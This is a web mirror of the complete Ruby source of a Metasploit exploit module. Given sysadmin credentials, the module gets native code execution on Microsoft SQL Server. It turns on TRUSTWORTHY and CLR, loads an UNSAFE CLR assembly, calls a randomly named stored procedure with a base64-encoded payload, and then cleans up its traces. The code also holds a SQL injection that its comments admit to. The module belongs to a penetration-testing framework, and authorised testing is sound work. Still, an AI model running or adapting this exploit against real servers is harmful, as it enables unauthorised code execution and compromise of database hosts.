Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/mssql_clr_payload.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
16
'Description' => %q{
17
This module executes an arbitrary native payload on a Microsoft SQL
18
server by loading a custom SQL CLR Assembly into the target SQL
19
installation, and calling it directly with a base64-encoded payload.
20
21
The module requires working credentials in order to connect directly to the
22
MSSQL Server.
23
24
This method requires the user to have sufficient privileges to install a custom
25
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
26
27
This exploit does not leave any binaries on disk.
28
29
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
30
},
31
'Author' => [
32
'Lee Christensen', # original idea/research
33
'Nathan Kirk', # extra research/blog post
34
'OJ Reeves' # Metasploit module
35
],
36
'License' => MSF_LICENSE,
37
'References' => [
38
# as of January 9, 2025 http://sekirkity.com is now a banner ad site w/ NSFW content.
39
['URL', 'https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
40
],
41
'Platform' => 'win',
42
'Arch' => [ARCH_X86, ARCH_X64],
43
'Targets' => [['Automatic', {}]],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '1999-01-01',
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
57
]
58
)
59
end
60
61
def check
62
unless mssql_login_datastore(datastore['DATABASE'])
63
vprint_status('Invalid SQL Server credentials')
64
return Exploit::CheckCode::Detected
65
end
66
67
version = get_sql_version_string
68
69
unless version =~ /Server 20(05|08|12|14|16)/
70
vprint_status('Unsupported version of SQL Server')
71
return Exploit::CheckCode::Safe
72
end
73
74
if mssql_is_sysadmin
75
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
76
Exploit::CheckCode::Vulnerable
77
else
78
Exploit::CheckCode::Safe
79
end
80
ensure
81
disconnect
82
end
83
84
def get_sql_version_string
85
mssql_query('select @@version', false)[:rows].first[0]
86
end
87
88
def get_sql_architecture(sql_version_string)
89
if sql_version_string =~ /(64-bit|x64)/i
90
ARCH_X64
91
else
92
ARCH_X86
93
end
94
end
95
96
def get_exploit_version(sql_version_string)
97
# keeping it simple at this point.
98
if sql_version_string =~ /Server (2005|2008|2012)/
99
'v3.5'
100
else
101
# assume 2014/2016 at this point.
102
'v4.0'
103
end
104
end
105
106
def set_trustworthy(on)
107
result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
108
unless result[:errors].empty?
109
result[:errors].each do |err|
110
vprint_error(err)
111
end
112
fail_with(Failure::Unknown, 'Failed to change Trustworthy setting')
113
end
114
end
115
116
def is_trustworthy
117
# SQLi in MSF!! OMG!
118
result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
119
result[:rows][0] == 'ON'
120
end
121
122
def enable_clr(enable)
123
query = %(
124
EXEC sp_configure 'show advanced options', 1;
125
RECONFIGURE;
126
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
127
RECONFIGURE;
128
)
129
result = mssql_query(query, false)
130
unless result[:errors].empty?
131
result[:errors].each do |err|
132
vprint_error(err)
133
end
134
fail_with(Failure::Unknown, 'Failed to change CLR setting')
135
end
136
end
137
138
def is_clr_enabled
139
result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
140
result[:rows][0] == 'ON'
141
end
142
143
def exploit
144
unless mssql_login_datastore(datastore['DATABASE'])
145
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
146
end
147
148
unless mssql_is_sysadmin
149
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
150
end
151
152
# This module will only support 'thread' for EXITFUNC
153
# Bad things happen to SQL otherwise!
154
unless datastore['EXITFUNC'] == 'thread'
155
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
156
datastore['EXITFUNC'] = 'thread'
157
end
158
159
sql_version = get_sql_version_string
160
vprint_status("Target SQL Version is:\n#{sql_version}")
161
162
sql_arch = get_sql_architecture(sql_version)
163
unless payload.arch.first == sql_arch
164
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
165
end
166
167
trustworthy = is_trustworthy
168
clr_enabled = is_clr_enabled
169
170
unless trustworthy
171
print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
172
set_trustworthy(true)
173
end
174
175
unless clr_enabled
176
print_status('Database does not have CLR support enabled, enabling ...')
177
enable_clr(true)
178
end
179
180
exploit_version = get_exploit_version(sql_version)
181
print_status("Using version #{exploit_version} of the Payload Assembly")
182
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
183
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
184
vprint_status("Using #{exploit_file_path}")
185
186
assembly = ::File.read(exploit_file_path)
187
188
# Convert the assembly to the required format for execution of the stored
189
# procedure to create the custom stored proc
190
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
191
asm_name = Rex::Text.rand_text_alpha(rand(8..11))
192
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
193
194
print_status('Adding custom payload assembly ...')
195
mssql_query(query, false)
196
197
proc_name = Rex::Text.rand_text_alpha(rand(8..11))
198
param_name = Rex::Text.rand_text_alpha(rand(8..11))
199
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
200
201
print_status('Exposing payload execution stored procedure ...')
202
mssql_query(query, false)
203
204
# Generate the base64 encoded payload
205
b64payload = Rex::Text.encode_base64(payload.encoded)
206
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
207
print_status('Executing the payload ...')
208
mssql_query(query, false)
209
210
print_status('Removing stored procedure ...')
211
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)
212
213
print_status('Removing assembly ...')
214
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)
215
216
unless clr_enabled
217
print_status('Restoring CLR setting ...')
218
enable_clr(false)
219
end
220
221
unless trustworthy
222
print_status('Restoring Trustworthy setting ...')
223
set_trustworthy(false)
224
end
225
ensure
226
disconnect
227
end
228
end
229
230